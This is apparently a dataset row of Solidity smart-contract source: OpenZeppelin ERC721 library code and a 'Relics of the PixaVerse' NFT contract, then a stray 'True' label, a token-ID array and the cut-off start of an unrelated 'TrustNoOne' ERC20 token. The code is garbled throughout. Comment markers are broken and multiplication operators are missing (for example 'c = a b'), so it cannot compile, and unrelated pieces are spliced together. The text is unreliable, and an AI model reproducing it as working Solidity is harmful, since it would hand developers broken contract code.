returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /* * @dev Returns true if the value is in the set. O(1). / function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /* * @dev Returns the number of values in the set. O(1). / function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /* * @dev Returns true if the value is in the set. O(1). / function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /* * @dev Returns the number of values on the set. O(1). / function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // Part: OpenZeppelin/[email protected]/IERC165 /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // Part: OpenZeppelin/[email protected]/IERC721Receiver /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // Part: OpenZeppelin/[email protected]/SafeMath /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // Part: OpenZeppelin/[email protected]/Strings /* * @dev String operations. / library Strings { /* * @dev Converts a `uint256` to its ASCII `string` representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // Part: OpenZeppelin/[email protected]/ERC165 /* * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. / abstract contract ERC165 is IERC165 { / * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 / bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /* * @dev Mapping of interface ids to whether or not it's supported. / mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /* * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /* * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). / function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // Part: OpenZeppelin/[email protected]/IERC721 /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom(address from, address to, uint256 tokenId) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom(address from, address to, uint256 tokenId) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // Part: OpenZeppelin/[email protected]/IERC721Enumerable /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Enumerable is IERC721 { /* * @dev Returns the total amount of tokens stored by the contract. / function totalSupply() external view returns (uint256); /* * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. / function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /* * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. / function tokenByIndex(uint256 index) external view returns (uint256); } // Part: OpenZeppelin/[email protected]/IERC721Metadata /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // Part: OpenZeppelin/[email protected]/ERC721 /* * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; / * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd / bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; / * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f / bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; / * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 / bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /* * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. / function baseURI() public view virtual returns (string memory) { return _baseURI; } /* * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. / function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /* * @dev See {IERC721Enumerable-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /* * @dev See {IERC721Enumerable-tokenByIndex}. / function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner \|\| ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| ERC721.isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /* * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /* * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. / function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: Relics.sol contract Relics is ERC721 { address private _owner; uint256 public tokenCounter; bool public saleStatus = false; bool public collectionLock = true; // if true, can keep minting (not locked) address payable wallet = 0x5c2B89CBeC1a4996Aa5e81f3dFf8505ABeC6B34c; string public relicURI = "nothingtostart"; constructor () public ERC721 ("Relics of the PixaVerse", "ROTP"){ tokenCounter = 1; _setOwner(wallet); } function mintRelic() public { require(saleStatus); require(collectionLock); _safeMint(msg.sender, tokenCounter); _setTokenURI(tokenCounter, relicURI); tokenCounter = tokenCounter + 1; } function ownermintRelic() public { require(msg.sender == wallet); require(collectionLock); _safeMint(msg.sender, tokenCounter); _setTokenURI(tokenCounter, relicURI); tokenCounter = tokenCounter + 1; } function changeRelicURI(string memory inputURI) public { require(msg.sender == wallet); relicURI = inputURI; } function startSale() public { require(msg.sender == wallet); saleStatus = true; } function stopSale() public { require(msg.sender == wallet); saleStatus = false; } function lockcollection() public { require(msg.sender == wallet); collectionLock = false; } function getBalance() public view returns (uint256) { return address(this).balance; } function withdrawAmount(uint256 amount) public { require(msg.sender == wallet); require(amount <= getBalance()); msg.sender.transfer(amount); } function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { require(msg.sender == wallet); address oldOwner = _owner; _owner = newOwner; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5641, 1011, 5511, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 1020, 1025, 1013, 1013, 2112, 1024, 2330, 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/** Submitted for verification at Etherscan.io on 2022-03-31 / //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TrustNoOne is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 